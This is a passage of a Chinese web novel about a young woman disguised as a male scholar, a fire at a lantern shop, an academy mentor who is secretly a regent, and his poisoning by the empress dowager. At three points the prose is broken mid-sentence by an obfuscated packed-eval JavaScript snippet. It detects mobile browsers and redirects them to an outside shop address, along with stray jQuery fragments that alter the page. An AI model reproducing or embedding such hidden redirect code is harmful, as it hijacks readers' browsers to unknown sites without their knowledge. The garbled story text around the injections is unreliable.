沈婉清垂下眼睫：“婚姻大事，自是父母之命，媒妁之言，一切凭母亲做主。” “大姐姐所言极是。” 乔映月心下更是畅快。 几个月后是宫里中秋佳宴，实则是为皇室选妃的盛宴。 若沈婉清真定了平阳侯府，那府上待选的姑娘，便只剩下她一个了。 沈婉清不在意乔映月所想。 楼下书生清越的嗓音不断传来，句句在理，竟莫名有些耳熟。 她目光环顾，谨慎地寻找着离楼梯最近的出口。 若书生所言为真，她也能及时逃出去。 . 楼下，几个凶悍伙计即将要拽住沈挽棠衣角。 忽然，一道温润的嗓音清晰响起。 “且慢。” 来人身着云山蓝锦袍，眉目温润，腰间悬了枚质地上乘的云纹玉佩。 焦灼气氛瞬间缓和几分。 他对钱掌柜道：“我认为这位兄台说的有理，店家何必急于驱赶？” 钱掌柜气焰顿时矮了半截，目光在那枚玉佩上打转，猜测是哪位府上的贵人。 “既然这位学子有此见解，”温润公子转向沈挽棠，“公子不妨将方才未尽之言，再说得清楚些。” 骚动人群渐渐安静下来。 沈挽棠定了定神，清晰阐述琉璃灯饰造成连环灾难的推测，甚至指出了几处结构松动的迹象。 周围人神色各异。 有人对此面露不屑，低声嗤笑：“危言耸听！我看是想搅和黄了钱掌柜的生意！” 也有人被说动，悄悄向门口挪动脚步。 “虽说想看灯，也不急在这一时。” “听着好像有点道理，万一出了事故，那就得不偿失了。” 议论声低低传来。 那红衣小女孩也牵紧了母亲的手，仰头糯声道：“娘亲，这位姐姐……这位哥哥说的有道理，我们今日就先不看了吧。” 年轻妇人温柔地捏了捏她的脸。 不少人退去，钱掌柜如梦初醒。 此时再看中央的两人，始终不曾报上名号，想必也不是什么真正的达官显贵，不过是两个爱管闲事的罢了！ 他咬牙道：“你二人休要在此胡说八道，蛊惑人心！我这楼阁结实得很！” 这张嘴脸固执又贪婪。 沈挽棠瞧着他，倏地笑了。 笑意中带着冷冽的嘲讽。 钱掌柜背后莫名窜起一股寒意。 他尚不知晓，因此刻的贪婪与固执，惨烈大火吞噬此地，带走无数冤魂。其中便包括皇后的亲弟、镇国公世子裴渡。 也因此，他的九族皆被斩首。 伙计们见东家发狠，纷纷撸起袖子围拢上前。 “咔嚓，哐啷！” 头顶骤然传来可怖声响。 所有人动作一僵，骇然抬头。 无数细小木屑簌簌落下，阁楼高处，那悬挂着华丽琉璃灯的木梁正以肉眼可见的速度扭曲、开裂。 钱掌柜双腿发软，烂泥般瘫倒在地，面无人色。 巨大的恐惧和悔恨将他淹没。 “不！我的楼！我的……”他朝沈挽棠涕泪横流地嘶喊，“公子！公子救命！救救我的楼，我错了，我听您的！” 眼前情形，与梦境又不同了。 沈挽棠眸光一凛。 梦中，扎着双髻的红衣女孩站在琉璃灯正下方，温润公子为救她奋不顾身，最终双双殒命。 而此刻，红衣女孩被骇人的声响定在原地，呆呆地仰着小脸，大眼睛里盛满了懵懂与巨大的恐惧。 她头顶另一盏较小的灯架也已松动。 身旁的温润公子毫不犹豫跨步上前救人。 沈挽棠脑海一片空白，全凭直觉驱使，猛地向前扑去。她用尽全身力气撞开那位公子，同时另一只手将小女孩揽向自己：“小心！” 三人借着这股冲力，狼狈地翻滚向一侧。 “轰隆！” 碎裂琉璃顿时倾泻而下。 钱掌柜绝望的求饶声，瞬间被淹没在震耳欲聋的断裂声中。 因沈挽棠先前的警示，不少人提前离去，此刻正心有余悸地望着这片惨状。 而先前嘲讽最甚的几个看客，此刻被惊恐逃窜的人流冲撞推搡，落在了最后。 有人被掉落的杂物砸中头破血流，有人摔倒后被踩踏，发出凄厉的哀嚎。 很快，店内最大琉璃灯也终于撑不住，巨响震耳欲聋。 夜色如墨，浸染天际。 就在火势即将蔓延的刹那，数道黑影如鬼魅般自暗巷中无声掠出，火势被压制。 不过转瞬，这些黑衣人又如潮水般退去，重新消失在夜色中。 裴渡凝视着他们消失的方向，眼底掠过一丝深思。 这般训练有素绝非寻常护卫，倒像是影卫司的人。 沈挽棠忽觉手臂一阵刺痛，有一道寸长的划痕正渗出殷红血珠，在素色衣袖上洇开暗色。 裴渡：“公子的手臂在流血， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744535|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当是被飞溅的琉璃碎片所伤。” 裴渡想上前查看她的伤势，却被不着痕迹地避开。 沈挽棠：“小伤而已，不劳公子费心，我自己来便可。” 她声音平静无波，说话间已利落地自下摆撕下一截干净布条，指尖翻转，熟练地在伤处缠绕打结。 裴渡静立一旁，目光落在她包扎的动作上。 露出的手腕过于纤细白皙，骨节玲珑。 待她包扎妥当，裴渡方整了整略显凌乱的衣袍，拱手温声道：“在下裴渡。今日多谢兄台舍身相救，若非兄台反应迅捷，出手相护，裴某此刻恐已非挂彩这般简单了。” 沈挽棠：“裴公子言重了。在店内若非裴公子仗义执言，在下恐怕早已被店家轰了出去，是在下该谢过公子。” 裴渡却摇头，语气极为诚恳：“兄台过谦。警示之言在先，救命之恩在后，岂是区区几句言语可比。” 他略一沉吟：“兄台日后若在京中遇到任何难处，无论大小，裴某必当竭尽全力，以报今日之恩。” 沈挽棠微微蹙眉：“裴公子无须如此……” 话音刚落，一个咋咋呼呼的声音便由远及近。 “顾兄！顾时！原来你在这儿啊，真是让我好找！” 陆泽远拨开人群，气喘吁吁地跑来。 待看清身旁之人，他眼睛顿时一亮，一把揽住那人肩膀：“我说裴渡你小子！什么时候溜达到这儿来了？你们俩这是……”他目光在二人之间逡巡，“英雄惜英雄？” 两人是自幼相识的挚友。 裴渡任由他揽着。 他目光再次落回沈挽棠身上，温声道：“顾兄，看来泽远与你相熟？” “何止是认识！”陆泽远抢答，拍了拍沈挽棠的肩，“顾时可是我在云麓书院的同窗，我们是一队出来做策论调研的。是吧，顾兄？” 他暗暗挤眉弄眼。 沈挽棠趁机避开他的动作，朝裴渡颔首：“在下青州顾时。” 裴渡回以温和一笑。 沈挽棠看着他，敏锐察觉到一些其余意味。 陆泽远想起书院门禁：“行了行了，这边乱糟糟的，眼看时辰不早，咱们也该回书院了。” 而不远处，沈婉清安抚着惊魂未定的乔映月。 两人随人流逃出，如今皆是鬓发散乱，浑身沾满灰烬。 乔映月扶着沈婉清的手臂，弯着腰剧烈咳嗽，几乎要将肺都咳出来。 危险降临，沈婉清凭着记忆中的路线往外逃。乔映月却不明所以，只死死攥着她的裙角。 若非被她拖累，沈婉清本可以更快些。 可混乱中，乔映月还是受了伤。 她的左肩被不知名的重物狠狠砸中，钻心的疼痛让她眼前发黑。 刚到手还没焐热的翡翠镯子，明明已经付了银钱，此刻也不知掉落在了哪个角落，怕是寻不回来了。 更让她心痛如绞的是，身上这件胭脂红的云锦新衣，本是为了选妃宴精心准备的，此刻已彻底毁了。 母亲前几日还说府中艰难，将她几件值钱的头面都拿去周转了，如今连这唯一的体面也没能保住。 一股怨恨窜上心头。 她恨这突如其来的灾难，也恨母亲的苛刻。 然而，就在浑身疼痛之际，她竟还有心思四下张望。 远处一道清俊挺拔的身影，即便在混乱的人群中，也如鹤立鸡群般显眼。 “那是不是裴世子？” 她猛地扯住沈婉清的袖子，连肩上的疼痛都忘了。 “我曾在宫宴上远远见过他一面，那般风姿，绝不会认错！大姐姐，若是能在此处与他说上句话该多好，之前好不容易才能得见一面，机会难得啊。” 乔映月痴痴望着，眼神迷离。 那里站着三位年轻公子，面容在夜色中看不真切。 而沈婉清的目光，却越过裴渡，牢牢锁在了旁边清瘦身影上。 那是棠儿？ 8. 第 8 章 云麓书院。 不出一日，琉璃阁的事便在学子间传得沸沸扬扬。 “听说了吗？昨天出去做策论调研的那一队，尤其是那个叫顾时的，可是闹出了好大的动静！” “话是这么说，可他胆子也忒大了！换我可不敢直接顶撞店家，还把话说得那么笃定。” “就是啊，他怎么就肯定那灯一定会掉下来？万一没掉，岂不是成了笑话？” “那店家也是可怜可恨，死在了店里，不过也算是保全了家人性命。” 书院深处，修篁里。 庭院疏朗，占地极广。 四下静得出奇，看似空无一人，实则暗处隐着数名的皇家影卫，气息已与夜色山林相融。 风过，竹啸泠泉。 幽香氤氲，恍若隐逸之境。 书房内，青铜连盏灯寂寂，旁设紫檀阔案。 月华倾泻如银，映出案后端坐之人的挺拔背影。 一道黑影悄无声息地落地，呈上奏报：“主上，江城急报。” 江城先前采用的筑坝固堤之策已失效，水患复涌，民怨渐起。 萧珩目光扫过奏报，脑中却浮现出那道清瘦执拗的身影。 “学生浅见，目前采取的固守筑坝之策，或可转为因地制宜的分流导引之法。” 那般笃定，仿佛能未卜先知。 萧珩长眉淡漠，修长指节在紫檀木案上不轻不重地叩击着。 卫陵此时匆匆赶来，面色凝重地行礼：“王爷。” 他显然也已得知江城消息，迅速分析了此案背后盘根错节的朝堂势力。 禀完江城之事，他话锋一转：“王爷，关于青州一事，有了初步查探。” “哦？” 萧珩难得抬眸，烛光映在凤眸中。 “顾时此子，身份暂时无疑。他是青州顾家长子顾青玄的幼子，实则由致仕在家的祖父顾游云亲自带在身边教养，情分深厚。据查，他此前一直随顾游云游历在外，不久前方入京城。” 萧珩指尖摩挲着奏报。 “叫他明日来见我。” 沈挽棠尚且不知，已有人奉命前往青州彻查她的底细。 她更未曾料到，外祖父早年布下的这盘身份棋局，竟如此天衣无缝。 姜到底是老的辣。 不愧是在先帝朝堂那等波谲云诡之地历经风雨，最终还能明哲保身的智者。 她素来知晓外祖父向来不拘礼法，但自己突然成了舅舅多出来的儿子，也不免愕然。 沈挽棠无奈接受。 . 云麓书院，学舍 四下寂静，灯火摇曳。 沈挽棠铺开一张素笺，将近日纷乱的线索一一理清。 梦境虽能预示，却非定数。 无论是初见贺云峥的时机，还是琉璃阁那场大火的变动，都证明了命数可改。 这便意味着她的结局，可以扭转。 坠崖时蚀骨的寒风犹在耳畔，她必须尽快抵达青州，方能求得一世安稳。 笔尖微顿，一点浓墨在宣纸上无声洇开。 沈挽棠垂眸，才发现自己竟在无意识间，写下了宴山二字。 她耳根悄然漫上热意，仿佛腰间灼热有力的触感再次烙印上来。 这位深不可测的先生，在她命运的棋局中，又扮演着何种角色呢？他们二人当真会有那么多的……情愫？ 她深吸一口气，将纷乱杂念压下。 修簧里。 踏入其间，莫名感受到一种无形的迫人威仪。或因主人身为太子太傅，地位超然。 沈挽棠认得卫陵，沉默地跟在他身后。 “顾学子稍候，先生即刻便到。” 卫陵的声音一如既往的冰冷。 室内灯盏之多，远超寻常书房所需，映得四下亮如白昼。 沈挽棠垂眸，静立等待。 脚步声自身后响起，不疾不徐。她依礼躬身：“学子见过先生。” “治水的策论，写完了？”萧珩的声音自上方传来。 沈挽棠自袖中取出文稿，双手呈上：“回先生，学生写完了。” 萧珩眉梢微挑。 距离他规定的期限尚有数日，且他并未言明今日召见所为何事。她竟提前揣摩到了他的意图。 萧珩垂眸细览。 书房内一时只闻纸页翻动的轻响。 日光透过窗棂，在她低垂的眼睫上投下细碎的光晕。 萧珩的目光从纸页上抬起，例行公事般地扫过呈策之人，却不由在她微蹙的眉心上停留了一瞬。 她身形清瘦，背脊却挺得极直，透着一种不容折损的韧劲。 沈挽棠亦在打量他。 他的手指修长，骨节分明似山峦微起，隐现的青筋脉络伏于其下。指腹与虎口处，隐约可见一层经年的薄茧。 这绝非寻常文弱书生的手，更像是一只能挽弓握剑的手。 或许，宴山先生本就是一位能文能武之人。 萧珩的指尖点在她策论的某一处，看着她道：“你提出借地势分渠导流，想法甚巧，对地形水势的把握也很精准，尤其对水车榫卯衔接处的考量，竟具体到以老竹为销……此等笃定，绝非寻常推论可得。你从何想来？” 沈挽棠抬眼欲答，目光却正正撞上他审视的眼眸。 这双凤眸过于深邃，许是其中相似的专注，又或是这密闭空间里难以言喻的氛围。 瞬间，梦中某些零碎而模糊的亲密画面，竟不受控制地掠过心头。 一股热意不受控制地涌上双颊。 她几乎是本能地想要逃离，逃离他目光所及之处。 她垂下眼帘，声音平稳：“回先生，学生少时常随外祖父于乡野行走，见过许多民间因地制宜的土法水利。此次撰策，不过是结合往日见闻，大胆推演。其中冒失之处，还请先生指正。” 她回答得滴水不漏，若忽略那悬于如玉耳垂上的淡淡红晕，几乎看不出任何异样。 可瞬间的失态，并未逃过萧珩的眼睛。 日光下，她微红的耳垂几乎透明，与苍白的肤色形成对比，竟有一种奇异的、想让人捏在指间揉碎的脆弱感。 他未再追问，仿佛接受了这个解释。 “推演需实证。”他语气平淡，取过一卷早已备好的卯榫水车图纸，推向她，“你既通水利工巧，限三日，据此旧制水车图样进行改进。要求汲水之效倍于常例，且须轻便廉价，利于推广。所需一应物料，列单即可。” 沈挽棠依言上前，仔细展开图纸。脸上红晕已然褪去，只剩下全神贯注的审慎。 图纸上的水车结构精妙，但确有其局限。 良久，她躬身应道：“学生领命。” 待人要走，萧珩脑海中却再次浮现惊鸿一瞥的薄红，指节在案上不轻不重地叩了一下。 “回来。” 沈挽棠脚步顿住，依言转身。 萧珩凤眸重新落回她身上，静默一息，忽然道：“你用的是什么香？” 沈挽棠心头一跳：“回先生，学生……不曾用香。” 萧珩的眉头蹙得更紧。 良久，他未再追问，只道：“去吧。” 沈挽棠如蒙大赦，快步离开。 然而，她刚走出院门不过十步，身后竟又传来卫陵的声音：“顾学子，请留步！” 沈挽棠的脚步蓦地僵住。 卫陵递来一卷用细绳捆好的旧纸卷：“顾学子，先生让我将此物交予您。” 沈挽棠双手接过：“这是？” 卫陵答：“先生吩咐将此物交予顾学子，说其中或有前人心得，或可与策论、图纸，互为参详。” . 沈挽棠做事向来专注。 接连几日，她都伏在学舍的窗边，不少学子路过都好奇往里探头。渐渐地，宴山先生给顾时单独布置了一道难题的消息，不胫而走。 当得知具体题目后，众人纷纷咋舌。 “先生这题出得，未免太强人所难了！” “嗐，谁让他上次能答出那么刁钻的问题，先生这是青眼有加啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744536|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “哼，我看未必，水力机械何其复杂，岂是一个学子能轻易改进的？届时交不出像样的东西，只怕要出丑咯。” 每当此时，总有一个声音会跳出来维护。 陆泽远叉着腰，声音响亮：“怎么就答不出来？上次你们一个个缩得像鹌鹑，还不是靠我顾兄答题，等着瞧吧，顾兄定能画出来！” 外界的议论，沈挽棠充耳不闻。 她心神沉浸，眉宇间微蹙，是全然投入的痕迹。 窗外的风吹动她额前的碎发，一股不服输的韧劲儿自心底悄然滋长。 她想做好，并非全然为了应对考核或是争一口气，更是想到了外祖父的教诲，以及那些在洪旱交替中挣扎的黎民百姓。 幼时随外祖父游历，途经那些受灾困顿的村落，那位看似疏阔的老人总会收起闲适，挽起袖子，亲手帮乡民修复水渠、改良农具。 那身影，她至今铭记。 若此物真能成，于那些受灾的百姓而言，便是实实在在的益处。 灯火常燃至深夜，当别的学舍早已陷入黑暗与沉寂，她仍与天上疏星默默为伴。 她时常画得忘了时辰，多次惊觉又错过了饭食。 陆泽远看不过眼，提着食盒寻来，没好气地往她案上一放：“我说顾兄，你作画辛苦，我管不着，但总不好活活饿死在这儿吧？” 他好奇地凑过头，看向那铺满桌案、标注得密密麻麻的图纸，不由得咂舌：“真是好一番风景。我说，你生得这般清秀，心思又细巧得跟个小娘子似的……” 他忽然顿了顿，像是发现了什么新奇事，盯着她专注的侧颜。 “以前没细看，如今瞧来，当真是唇红齿白。” 沈挽棠笔尖一顿。 陆泽远哈哈一笑：“回头等你画完了，我带你去个好地方吃酒松快松快！” 随着时间流逝，许多学子看热闹的诧异都变成了无声敬佩。 昔日嗤笑得最大声的那几位，如今再路过，不是面露赧色匆匆避开，便是收敛起神色，拱手道一声顾兄。 夜风微凉，修篁里内，萧珩听着下属的例行汇报。 周玉徽在一旁插话，语气带着几分不忍。 “皇叔，你给那顾学子出的题是不是太难了些？我偷偷去瞧了几次，他可是连着几日都在秉烛疾书，人都清减了不少。” “我拉着好几个以博闻强识著称的学子问了，没一个能摸着门道！都说这题超纲得离谱。” 他顿了顿，好奇地凑近些：“不过，我看他虽辛苦，答卷却颇有章法。皇叔，您是不是也挺期待他真能答出来？” 萧珩眼前似乎浮现出那道于灯下伏案疾书的清瘦身影。 不知过了多久，窗外的天色由明转暗，又由暗转为熹微。 沈挽棠终于搁下笔，指尖因长时间紧握笔杆而微微发麻，纤细的腕骨也泛着酸涩的胀痛。 她抬手，轻轻揉了揉腕间。 案上，一幅重新绘制的水车结构图已然完成。榫卯衔接、水流导向皆标注得清晰详尽，还在一旁另附了细小的注解。 这与她梦中见过的某些模糊景象，竟有七八分契合。 三日之期已到。 她仔细地将图纸卷起，以细绳捆好。 再次踏入修簧里的长廊，她只希望此行顺利，莫要横生枝节。 四下寂静无声，却透着一股与往日不同的凝滞。 书房门扉紧闭着。 三日之期，先生不会忘记才是。 她在廊下悄立片刻，夜风穿过，带来一丝凉意。 她悄立片刻，廊下的风穿过，拂动她额前的几缕碎发。 迟疑少许，她终是决定先行离开。 “哐当！” 一声常清晰的脆响从紧闭的门扉内传来，似是瓷器被狠狠打翻在地！ 紧接着，竟是一声极力压抑的闷哼。 沈挽棠身形骤然一僵，倏然回首。 先生在里面。 她犹豫着上前一步，抬手推开了那扇沉重的门。 9. 第 9 章 室内光线幽暗，与往日清雅整肃的景象截然不同。 空气中弥漫着湿润的云雾，带着淡淡药草的清苦气息。 屏风后未散的水汽隐约可见，地面还着残留着未干的水痕。 沈挽棠放轻脚步朝里间走。 绕过屏风，看清眼前情形时，沈挽棠心猛地一沉。 萧珩并未安寝于榻上，而是蜷缩着倒在榻边的地毯旁。 他仅着一件松垮的雪色中衣，墨黑的长发湿漉漉地凌乱铺散，几缕黏在苍白得近乎透明的脸颊侧颈。 那双总是洞悉一切、清冷逼人的凤眸此刻紧紧阖着，长睫在眼睑下投出脆弱的阴影。 水珠顺着他线条优美的下颌滑落，没入微敞的领口，平日里那令人不敢直视的威仪尽数褪去，竟显出一种惊心动魄的易碎感。 沈挽棠依着本能，转向书房内室一角，抬手在某处不起眼的位置轻按，准确地打开了暗格。 里面静静躺着一只羊脂白玉小瓶。 沈挽棠折返，缓步靠近地上的人， 寒光闪过，一柄冰冷的短剑已悄无声息地横在了她纤细的脖颈上。 她肌肤瞬间战栗。 先生不知何时醒了，凤眸猩红，里面布满了骇人的血丝。 “谁派你来的？” 他的声音低沉得可怕，每一个字都裹挟着浓重的杀意。 与此同时，他滚烫的大手如铁钳般猛地攥住了沈挽棠的骨腕，力道之大，几乎要捏碎她的骨头。 沈挽棠疼得瞬间倒抽一口冷气，脸色发白。 她竭力却不让手中玉瓶落地。 眼前的男人与平日里清冷自持的先生截然不同，此刻的他更像从地狱爬回来的修罗。 沈挽棠强迫自己镇定下来。 “先生，是我，我是顾时。” 脖颈处再次传来细微刺痛。 沈挽棠声音放得极轻缓：“学生是来送药的。先生，您服下此药，症状便会缓解。” 说着，她递上手中的白玉小瓶。 萧珩的目光混沌而锐利，死死锁住她，似乎在极力辨认。 药瓶的晃动触动了他紧绷的神经，又或许眼前人眼眸太过清澈，横在她颈间的剑刃微微松动。 但攥着她腕骨的力量却丝毫未减，反而因一阵突如其来的剧痛收得更紧， 沈挽棠的腕骨几乎要被捏碎。 她疼得咬紧下唇，硬生生将痛呼咽了回去，额间渗出细密冷汗。 两人在昏暗的光线中僵持，呼吸交错，温热地拂在彼此的脸颊与颈侧。 清冷的月光透来，无声地映照出这诡异而亲密的景象。 两人的身影在墙上几乎交叠融合。 萧珩视线混沌，剧痛如浪潮般撕扯着他的神智。 然而，当他的目光穿透痛苦的迷雾，清晰地映出她近在咫尺的清澈眼眸时，那里面没有恐惧，只有一种沉静的担忧。 宛如一股清泉，抚平他心底翻涌的暴戾。 又一阵噬心的痛楚袭来，萧珩的身子猛地一颤，抑制不住地闷哼出声。 “先生？”沈挽棠试图唤醒他。 萧珩整个人向前倾倒，额头重重抵上她单薄的肩头。 两人距离瞬间拉近。 沈挽棠浑身一僵，清晰地感受到他呼出的气息，灼热地熨烫在她颈侧的肌肤上，以及这具强悍身躯无法自抑的的细微颤抖。 他衣料单薄，此时滚烫的可怕。 混着药香与凛冽水汽的男性气息，将沈挽棠全然笼罩。 他身体的大半重量都压了过来，沈挽棠勉力支撑。 良久，肩上靠着的人终于昏厥过去。 沈挽棠去掰开他的手指，可依旧如铁般牢固，紧攥着自己的腕骨。 她看着这张近在咫尺的脸，没有丝毫血色，长睫低垂，却与梦中那迫人的轮廓奇异重叠。 沈挽棠无声叹口气。 她用尚能活动的另一只手艰难地拔开瓶塞，倒出一粒乌黑的药丸。随后，用指尖小心翼翼地撬开他紧抿的唇，将药丸迅速塞入他口中。 动作干脆利落。 她温软的指腹擦过他微凉的下唇。 昏沉中的萧珩似乎有所感应，喉结滚动，顺从地将药丸咽下。 沈挽棠迅速收回手，指尖下意识轻轻搓了搓。 做完这一切，沈挽棠再次尝试挣脱。 或许是药力起了作用，也或是他终于彻底失去意识，那只禁锢着她的大手终于松开。 沈挽棠立刻将手腕抽出，上面已留下一圈清晰骇人的青紫指痕。 她迅速起身，转身要走。 走了两步又停下，她转身重新看着地上的人，伸手去探他的鼻息，呼吸虽弱却已趋于平稳。 沈挽棠毫不留恋地离去。 刚出房门，一柄长剑已如毒蛇般悄无声息地自身后探出，精准地横在她身前，截断了去路。 “顾学子，请留步。” 卫陵的声音自夜色中传来。 修篁里四周静得可怕，连风穿过竹叶的簌簌声都清晰可闻。 暗处，影影绰绰伫立着不少玄色身影，无声无息。 空气中弥漫着一种令人窒息的压迫感。 直至内室帘幕轻动，为首的太医躬身退出，压低声音回禀。 “卫大人，先生脉象已趋平稳，应是无碍了。多亏及时服用了对症的解药，眼下只需好生静养。” 卫陵紧绷的神色稍缓，鹰隼般的目光落在沈挽棠身上。 “你今日为何恰好在此？又怎会知晓解药所在？” 每一个字都淬着寒意。 王爷旧疾发作时的情形，他再清楚不过。 形同疯魔，意识尽失，唯剩杀戮本能。 去年一名暗卫试图靠近，被一剑贯胸，当场毙命。所有贸然接近者，非死即残，无一例外。 可眼前这个看似弱不禁风的学子，不仅全身而退，竟还成功喂了药？ 沈挽棠垂眸静立，呼吸平稳。 “学生是依三日之期，前来呈交先生布置的课业。叩门不应，听闻内间传来异响，担忧先生安危，方才冒昧闯入。” “至于解药，”她坦然迎向卫陵审视的目光，“是先生昏迷前指引于我，我方循着方向寻到。” 卫陵眼神复杂地变幻一瞬，终是还剑入鞘。 既是王爷的意思，允她离开，他便不再阻拦。 . 书院学舍。 次日清晨，沈挽棠在书案上发现一个触手温润的白玉盒。揭开盒盖，里面是两瓶异香扑鼻的莹润药膏。 玉蓉膏。 她曾听人提起，此乃宫内都紧俏无比的疗伤圣品，化瘀生肌有奇效。 她下意识抚上脖颈，那道细微的划痕已愈合，只留下浅淡的印记。 手腕上被死死攥出的青紫，虽未完全消散，却也淡去大半。 宴山先生竟有此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744537|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物？ 念头一转，他身为太子太傅，深得东宫信重，得赐些许宫中之物，似乎也在情理之中。 她默默将玉盒收好。 指尖摩挲着那冰凉细腻的玉瓶，沈挽棠又想起那日险境。 她将绘制的水车图纸留在了修篁里的书案上，不知先生至今可曾看过？ 她将水车图纸留在修簧里的书案上，不知先生是否能看到。 . 时值四月二十，皇宫内暖风和煦。 御书房内，鎏金兽炉中吐出袅袅清甜梨香。 近来朝政稍缓，永嘉帝便拉着难得在京的萧珩于窗下对弈。 永嘉帝年三十有九，虽比萧珩年长十余岁，但因保养得宜，望去不过三十许人。 他面容温润雍容，眉眼间沉淀着岁月与权位赋予的成稳与威仪。 永嘉帝瞧着棋盘上依旧不显山露水的布局，不由摇头失笑，语气里带着兄长特有的调侃与亲昵。 “朕看你这棋风，多年未变，还是这般不求有功，但求无过。在边关历练这些年，杀伐决断是长了，怎地下棋反倒愈发谨慎了？” 萧珩执子不语。 二人聚少离多，天子日理万机，永嘉帝格外珍视与幼弟下棋的片刻光阴。 永嘉帝又落一子。 “你才回京，府中可还缺什么？朕库里有几方上好的端砚，还有新贡的雪顶寒翠，回头都给你送去。” 永嘉帝搜集的奇珍，几乎要塞满摄政王府。 “皇兄厚爱，臣弟府中一应俱全，不敢再劳陛下费心。” 萧珩的眉宇比往日更沉默， 永嘉帝察觉出一丝不寻常。 自己这个弟弟，自幼便是这般清冷孤寂的性子，说到底，都怪自己当年未能护他周全。 一股深沉的愧疚漫上心头。 他目光不经意间掠过墙上悬挂的女子画像。 画上之人并非当朝太后，而是他们二人的生母，孝贤纯太后。 “若是母妃与舅舅在天有灵，见你如今安定边陲，定感欣慰。” 永嘉帝目光悠远，声音不觉柔和了几分。 孝贤纯皇后当年曾是先帝最受宠爱的贵妃，贤德冠绝六宫。 而他们的舅舅安国公，更是名震天下的边关统帅，一生戎马，让敌国闻风丧胆。 萧珩执白子的手一顿，终是落下。 “是陛下励精图治，江山安稳，海内清平，方使臣弟能在外安心效力。” 永嘉帝见他这般克制，心下更是酸软。 他想起幼弟早已过了适婚之龄，前几次提及选妃皆被推脱。 不论是国公府那位端庄雍容的嫡孙女，还是太傅家才情斐然的嫡女，无一不是品貌出众、蕙质兰心的佳选。 可旁人求之不得的姻缘，他这个弟弟，却连眼皮都未曾抬一下。 永嘉帝决心再试一次。 他目光关切：“宴山，此处并无外人，你且告诉朕，心中可是已有中意的女子了？” 一颗石子投入沉寂多年的深潭，水面之下暗流涌动，不受控制地荡开圈圈涟漪。 萧珩敛眸，那张清俊的面容却愈发清晰地浮现。 意识混沌间，额际抵靠的单薄肩头，擦过他唇畔的触感的温软指腹。乃至此刻，鼻尖似又萦绕起那缕极清极淡的独特香气。 永嘉帝眼睛一亮，心头大喜。 萧珩倏然收拢指节，将不合时宜的幻象强行压下。 10. 第 10 章 万寿宫。 殿内金碧辉煌，沉香缠绕着梁栋间繁复的彩绘。 紫檀木案上，各色时新瓜果与精巧贡点，应有尽有。 世人皆道永嘉帝有孝心，但凡有新奇珍贵的，总第一时间送至太后宫中。 女官匆匆赶来，悄无声息地行至凤座旁。 “太后娘娘，摄政王入宫了，此刻正在御书房与陛下下棋。” 太后元疏月撵着碧玉佛珠的手指倏然停住，浑圆的珠子在指间绷紧。 她眼底闪过冰冷厉色，语气却平淡无波：“他倒是回京得勤。” 侍立一旁的女官深知太后心性，听出平静语调下压着的愠怒，将头埋得更低。 太后元疏月虽已年过五十，却保养得宜。她身着绛紫色绣金凤宫装，通身气度雍容华贵。 她唇角弧度天然下垂，不笑时，带着不怒自威的压迫感。 殿内沉香袅袅，甜腻得令人发闷，轻易挑开了尘封十数年的记忆。 那时，先帝骤然驾崩。 彼时贵为皇后的元疏月，所属的母族宣国公府势大，她膝下虽无子嗣，却将还是皇子的永嘉帝萧霁带在身边数年，唤她一声母后。 永嘉帝那时早已成年，且文韬武略。 唯一的不足便是对他那个一母所出的胞弟萧珩，爱护到了近乎盲目的地步。 他竟曾在先帝灵前，流露出欲效仿上古贤君，兄终弟及，将皇位让于萧珩。 这是元疏月母族绝不容许的。 忆及此，太后指尖冰凉。 她备下那杯御酒，酒中并非即刻毙命的剧毒，而是一种前朝秘药。无色无味，中毒者每半年便如万蚁噬心，痛不欲生。 她需要一个受制于他的皇帝，要一个听话的傀儡。 宫宴之上，灯火璀璨。 元疏月脸上是无可挑剔的慈蔼笑容。 “皇帝即将继承大统，你们兄弟二人如此情深，母后心中甚慰。今日我们母子三人共饮此杯，愿江山永固，骨肉同心。” 她将酒杯递向永嘉帝。 永嘉帝含笑刚要接过，一旁年仅十岁的萧珩却猛地上前一步，径直从太后手中接过了那杯酒。 身影中透出一顾不合年龄的沉稳。 他脸庞稚嫩却清隽。 “母后，兄长明日便要登基，不宜多饮。这杯酒，让儿臣代兄长，敬谢母后多年抚育之恩。” 话音未落，他已举起酒杯，在太后骤然收缩的瞳孔和永嘉帝未能反应过来的惊愕中，仰头将杯中酒一饮而尽。 他知道了，他什么都知道。 知道酒有问题，知道这是针对兄长的陷阱，可他依旧选择了喝下。 他不会死，但从此每隔半年，便要承受一次钻心蚀骨之痛。 太后从回忆中抽身。 殿内香气依旧甜腻，她却只觉得一股寒意自心底蔓开。 . 